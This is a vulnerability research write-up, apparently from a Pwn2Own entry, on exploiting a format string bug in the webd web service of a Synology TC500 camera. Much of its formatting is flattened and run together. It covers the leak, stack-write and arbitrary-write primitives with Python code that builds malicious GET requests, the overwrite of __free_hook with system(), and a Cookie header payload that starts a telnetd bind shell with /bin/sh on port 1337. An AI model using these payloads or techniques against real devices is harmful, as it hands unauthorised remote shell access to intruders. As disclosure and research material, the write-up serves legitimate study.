Introduction
Attack Surface
The firmware of the camera is publicly available, and it is possible to run it in an emulated environment using a similar setup to the 6th Real World CTF. From emulation, we enumerated the attack surface of the camera, one interface open to the LAN-side is the webd binary, which is used for logging in and managing the camera. The other open port is the RTSP management process, streamd.
$ netstat -plantu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 770/webd tcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 847/streamd tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 770/webd tcp 0 0 :::554 :::* LISTEN 847/streamd udp 0 0 0.0.0.0:19998 0.0.0.0:* 770/webd
webd binary is a variant of the open-source civetweb web-server, with minor modifications made for debugging, logging, and to process interactions with the RTSP service. It runs on 32-bit ARM. The service is compiled with the normal set of application security mitigations: PIE, RELRO, ASLR, and stack canaries. It uses glibc v2.30.webd, we discovered that there are some minor customisations made to process_new_connection. This function is called by each worker thread to process an incoming HTTP request. One addition by Synology appears to be a global debug information table, containing information of each worker thread, and their most recently processed connections. At the end of process_new_connection the information about the request is added to a thread_name via snprintf.req_uri = conn->request_info.request_uri; ... char thread_name[0x80]; mg_snprintf(0, nullptr, thread_name, 0x80, "%s%s", ..., req_uri);
thread_name is then appended to the worker_debug_table using set_thread_nameif (worker_debug_table != 0)
set_thread_name(pthread_self(), thread_name);
set_thread_name, however, the inputted thread_name is used as the sole argument to to mg_snprintf, meaning there’s a format string vulnerability where the the original request_uri will be used directly in snprintf.void set_thread_name(pthread_t self, char* thread_name) { ... if (worker_debug_table[i]->thread == self) { mg_snprintf(0, nullptr, worker_debug_table[i]->name, 0x80, thread_name); worker_debug_table[i]->name[strlen(thread_name)] = 0; } ... }
Exploitation
Information Leak Primitive
worker_debug_table is not returned to remote user, so we could not directly use a URI like %p%p%p%p to fetch pointers from the stack. However, examining the state of the stack at the vulnerable snprintf gave insight to a potential information leak.pwndbg> telescope ... 07:001c| 0x7588268c -> 0x75500610 <- 0x312e31 /* '1.1' */
%*[some_stack_entry_index]$c%7$n.•
%*[some_stack_entry_index]$c will take a positional argument, and write that many characters from the stack.•
%7$n will count the total bytes written so-far in the format string, and write it into the 7th positional argument (which is the 7th stack pointer in our case).x would be updated to 3int x; printf("%*3$c%7$n", "abcdefghijklmn", NULL, 3, NULL, NULL, NULL, &x);
Stack Write Primitive
%[some-value]c%[some_stack_index]$n. We can write either 32, 16, or 8 bits using %n, %hn, %hhn respectively.Arbitrary Write Primitive
p1. p1 can be made to point to another stack pointer, p2 ,0x10 bytes further into the stack.pwndbg> tele $sp+3664 00:0000| 0x758834c0 <- 0x758834c0 ## p1 ... 04:0010| 0x758834d0 -> 0x75882e68 ## p2 <- 0x5f715ee8
After overwriting this offset using %hhn , we can change this as below.
pwndbg> tele $sp+3664 00:0000| 0x758834c0 -> 0x758834d0 ## p1 -> 0x75882e68 ## p2<- 0x5f715ee8 04:0010| 0x758834d0 -> 0x75882e68 ## p2 <- 0x5f715ee8
These pointers are so deep in the stack of the worker thread that the pointer changes persist across multiple requests.
We are now able to update a stack pointer to an arbitrary address by updating p2 via p1, then write content to that arbitrary address by updating the content of p2.
Using p1 it is possible to make p2 point to the offset 2080 in the stack. This region is effectively unused, allowing changes to that area to persist across requests too. We will refer to a pointer to this area as p3. So now we have p2 pointing to p3, and we can incrementally update p3 by updating the last byte of p2 before overwriting the content of p3. This allows us to create an arbitrary pointer at p3. Then we can use the same technique as the stack write using the stack index of p3. The code for an 8-bit arbitrary write primitive looks as below
def stack_write8(offset, value): entry = offset // 4 if len(CLIENT_IP) + 1 > value: value += 0x100 req = b'GET /%' + str(value - len(CLIENT_IP) - 1).encode() + b'c%' + str(entry).encode() + b'$hhn HTTP/1.1\r\n\r\n' print(req) do_request(req) def arb_write8(addr, value): # Point to offset 2080 by updating p2's last byte to 0x90 stack_write8(p1, 0x90) # Write the last byte of the address to p2 (which is pointing to p3) stack_write8(p2, addr & 0xFF) # Increment p2 by one byte stack_write8(p1, 0x91) # Write 2nd byte of address to p2 stack_write8(p2, (addr >> 8) & 0xFF) # repeat until all bytes are written stack_write8(p1, 0x92) stack_write8(p2, (addr >> 16) & 0xFF) stack_write8(p1, 0x93) stack_write8(p2, (addr >> 24) & 0xFF) if len(CLIENT_IP) + 1 > value: value += 0x100 req = b'/%' + str(value - len(CLIENT_IP) - 1).encode() + b'c%' + str(OFFSET_STACK_DATA // 4).encode() + b'$hhn' return do_request(b'GET %s HTTP/1.1\r\n\r\n' % req
Arbitrary Read Primitive
http_version string used in the information leak to an arbitrary address, and make a request. This will return whatever the content of the arbitrary address happens to be.
Getting a Remote Shell
__free_hook with the system() hook, and call free() with a pointer to a controlled string as the first argument..got . The .got contains the addresses of functions in glibc such as system , malloc , and free . Using the information in the .got, it is possible to find base address of glibc. This gives us the address of the __free_hook hook. We can then use the arbitrary write primitive to overwrite the __free_hook hook with the system. free (which is now system) on a controlled string with the Cookie http header. The function at 0x34a54 , which we have called GetSessionIdFromCookie, will create a std::string from the cookie value. int32_t* GetSessionIdFromCookie(int32_t* arg1, struct mg_request_info*arg2) { int32_t num_headers = arg2->num_headers ... if (num_headers <= 0) ... else ... while (true) if (strcmp(p1: arg2->headers[i_2].name, p2: "Cookie") == 0) char* cookie = arg2->headers[i_2].value if (cookie != 0) .... std::string::_M_construct<char const*>(&delim, "; ", &data_afee8[2]) std::vector<std::string> split_cookie SplitStr(ret: &split_cookie, &cookie_1, &delim) // [1] ... std::vector<std::string> split_cookie_1 = split_cookie ... else while (true) cookie_1 = &var_3c std::string::_M_construct<char const*>(&cookie_1, "=", &data_ab95c[9]) SplitStr_2(&var_8c, &split_cookie_1[2], &cookie_1) void* cookie_3 = cookie_1 if (cookie_3 != &var_3c) // [2] operator delete(ptr: cookie_3) }
At [1] , the function splits the cookie by a semicolon delimiter, storing the vector in split_cookie . Then, at [2], the function will delete the cookie up to the semicolon. Therefore, we can send a cookie with the content:
Cookie: telnetd -p 1337 -l /bin/sh -F; AAAAAAA After this is split, the telnetd command will be used by system() when it is freed.
Conclusion
This exploit technique worked perfectly against the vulnerable TC500 firmware. However, the night before we flew out to Ireland to submit the exploit, Synology rolled out a firmware update which patched out the format string vulnerability. That’s the Pwn2Own experience for you….
If you want to read about another exploit for this same bug, Baptiste MOINE has a great writeup for Synology
